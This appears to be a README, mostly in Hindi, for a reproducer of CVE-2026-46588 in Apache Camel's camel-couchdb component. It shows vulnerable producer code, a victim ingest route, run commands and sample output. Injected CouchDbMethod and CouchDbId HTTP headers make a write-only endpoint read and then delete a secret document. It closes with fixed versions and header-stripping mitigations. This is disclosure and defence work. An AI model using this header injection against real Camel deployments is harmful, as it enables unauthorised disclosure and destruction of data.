
CVE-2026-46588 के लिए पुनरुत्पादक: Apache Camel camel-couchdb CouchDb* हेडर इंजेक्शन (ऑपरेशन भ्रम) केवल-लेखन समापन बिंदु को मनमाने दस्तावेज़ों के पढ़ने और हटाने में बदलना (4.14.8/4.18.3/4.21.0 में ठीक किया गया)
CouchDb* हैडर इंजेक्शन पुनरुत्पादक (CVE-2026-46588)यह प्रोजेक्ट Apache Camel के camel-couchdb घटक में एक मैसेज-हैडर इंजेक्शन को प्रदर्शित करता है, जिसे CVE-2026-46588 के रूप में ट्रैक किया गया है। यह घटक अपने व्यवहार को नियंत्रित करने के लिए कई एक्सचेंज हेडर पढ़ता है — CouchDbDatabase, CouchDbSeq, CouchDbId (दस्तावेज़ आईडी), CouchDbRev (दस्तावेज़ संशोधन) और CouchDbMethod (ऑपरेशन विधि)। इन हेडर स्थिरांकों के स्ट्रिंग मान (CouchDbConstants में परिभाषित) मानक Camel उपसर्ग के बजाय उपसर्ग का उपयोग करते हैं, जिसका उपयोग हर दूसरा घटक करता है। Camel का इनबाउंड केवल उन हेडर नामों को ब्लॉक करता है जो / से शुरू होते हैं, इसलिए ये नाम इनबाउंड फ़िल्टर को अपरिवर्तित पास कर देते हैं। जब कोई रूट किसी काउचडीबी प्रोड्यूसर के सामने एक HTTP प्रवेश बिंदु (उदाहरण के लिए platform-http) प्रदर्शित करता है, तो एक अविश्वसनीय HTTP क्लाइंट इन हेडर को सीधे सेट कर सकता है और कर सकता है।
CouchDbHttpHeaderFilterStrategyCamelcamelयह PoC प्रभाव को ऑपरेशन भ्रम के रूप में प्रदर्शित करता है: एक केवल-लिखने वाला दस्तावेज़-अंतर्ग्रहण समापन बिंदु, CouchDbMethod (और CouchDbId) को इंजेक्ट करके मनमाना दस्तावेज़ पढ़ने और फिर हटाने में बदल दिया जाता है।
CouchDbMethod=GET + CouchDbId=<गुप्त> → प्रकटीकरण (एक दस्तावेज़ पढ़ता है जिसे समापन बिंदु कभी उजागर नहीं करता है, और उसका _rev लीक करता है)।CouchDbMethod=DELETE (लीक किए गए _rev के साथ) → विनाश (उस दस्तावेज़ को हटाता है)।| गुण | मान |
|---|---|
| घटक | camel-couchdb |
| प्रभावित वर्ग | org.apache.camel.component.couchdb.CouchDbProducer पढ़ता है CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), आदि। |
| CWE | CWE-20: अनुचित इनपुट सत्यापन |
| प्रभाव | एक HTTP क्लाइंट CouchDb* हेडर सेट करता है → ऑपरेशन/दस्तावेज़ को ओवरराइड करता है → प्रकटीकरण, विलोपन, छेड़छाड़ |
| पूर्व शर्तें | एक रूट एक काउचडीबी प्रोड्यूसर को एक HTTP उपभोक्ता (जैसे platform-http) के पीछे उजागर करता है; जब उपभोक्ता अप्रमाणित हो तो अप्रमाणित |
| प्रभावित संस्करण | 4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले |
| स्थिर संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| सुधार | PR apache/camel#23228 (मुख्य), #23230 (4.18.x) / #23231 (4.14.x) के माध्यम से बैकपोर्ट किया गया |
| श्रेय | यू बाओ (PayPal) |
हैडर-इंजेक्शन का वही परिवार जैसे CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 और CVE-2026-47323। सुधार अपने PR को सहयोगी परामर्श CVE-2026-46587 (camel-couchbase) के साथ साझा करता है।
// CouchDbConstants (प्रभावित 4.18.2) — हेडर नामों में CouchDb उपसर्ग है, Camel नहीं:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (प्रभावित 4.18.2) — ऑपरेशन हेडर से चुना जाता है:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // डिफ़ॉल्ट: बॉडी को सेव करें
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // बॉडी के _id/_rev द्वारा हटाएं
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // एक मनमाना दस्तावेज़ पढ़ें
}
सुधार (4.14.8 / 4.18.3 / 4.21.0) हेडर मानों का नाम बदलकर Camel परंपरा में करता है — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — ताकि वे हर दूसरे Camel नियंत्रण हेडर की तरह इनबाउंड HttpHeaderFilterStrategy द्वारा अवरुद्ध हो जाएं। Java स्थिरांक फ़ील्ड नाम अपरिवर्तित हैं।
from("platform-http:/ingest")
.removeHeaders("Camel*") // दस्तावेज़ित कठोरीकरण — नीचे देखें
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
रूट लेखक का इरादा एक केवल-लिखने वाला अंतर्ग्रहण समापन बिंदु है — क्लाइंट सेव करने के लिए दस्तावेज़ POST करते हैं, और कुछ नहीं। दस्तावेज़ित कठोरीकरण के रूप में रूट किनारे पर Camel नियंत्रण-हेडर नामस्थान को हटा देता है। वह मदद नहीं करता: ऑपरेशन हेडर का नाम CouchDbMethod है, न कि CamelCouchDbMethod, इसलिए यह न तो removeHeaders("Camel*") द्वारा और न ही अंतर्निहित HTTP हेडर फ़िल्टर द्वारा हटाया जाता है — और प्रोड्यूसर इसके आधार पर ऑपरेशन बदलता है।
पीड़ित Camel अंतर्ग्रहण रूट और उसका CouchDB डेटाबेस है; हमलावर एक अप्रमाणित HTTP क्लाइंट है जो केवल अनुरोध हेडर सेट करता है। एक छोटा REST हार्नेस सत्यापन के लिए गुप्त दस्तावेज़ को बीजित और पढ़ता है, जो भेद्य रूट से स्वतंत्र रूप से काम करता है।
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson को 2.13.2 पर पिन किया गया है, नोट देखें)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + ऐप
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # होस्ट / डीबी / क्रेडेंशियल / गुप्त दस्तावेज़ आईडी + मार्कर
│ ├── CouchDbHarness.java # REST हार्नेस: CouchDB की प्रतीक्षा करता है, गुप्त दस्तावेज़ को बीजित और पढ़ता है
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb प्रोड्यूसर (केवल-लिखने का इरादा)
│ └── ExploitController.java # हमलावर: इंजेक्टेड CouchDbMethod / CouchDbId हेडर के साथ /ingest पर POST
└── resources/
└── application.properties
नोट: pom
gson.version=2.13.2को पिन करता है (जो संस्करण Camel भेजता है)। Spring Boot 3.2.0 अन्यथा पुराने gson 2.10.1 को पिन करेगा, जिसमेंcom.google.gson.internal.GsonTypesकी कमी है और बंडल किया गया Cloudant SDK रनटाइम परNoClassDefFoundErrorफेंकता है।
mvn clean package -DskipTests
docker compose up -d --build
# ऐप लॉग लाइन "Started Application" की प्रतीक्षा करें, फिर:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
कोई भी रूट जिसमें काउचडीबी प्रोड्यूसर HTTP उपभोक्ता से पहुंच योग्य हो। इंजेक्ट करने योग्य हेडर: CouchDbMethod (सेव को गेट/डिलीट में बदलें), CouchDbId (गेट के लिए लक्ष्य दस्तावेज़), और डिलीट के लिए बॉडी का _id / _rev। उपभोक्ता पक्ष CouchDbDatabase और CouchDbSeq जोड़ता है।
4.14.8 / 4.18.3 / 4.21.0 में अपग्रेड करें (परामर्श PR #23228)। सुधार के बाद नियंत्रण हेडर में Camel उपसर्ग (CamelCouchDbMethod, CamelCouchDbId, …) होता है और वे हर दूसरे नियंत्रण हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाते हैं।
अपग्रेड करने तक, प्रभावित हेडर को अविश्वसनीय इनबाउंड संदेशों से हटा दें, इससे पहले कि वे प्रोड्यूसर तक पहुंचें, जैसे कि .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq") और .removeHeader("CouchDbMethod") को काउचडीबी समापन बिंदु के सामने रखें, या एक कस्टम HeaderFilterStrategy लागू करें जो इन नामों को ब्लॉक करता है।
यह पुनरुत्पादक सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और स्थिर भेद्यता के लिए। स्पष्ट अनुमति के बिना इसे सिस्टम के विरुद्ध उपयोग न करें।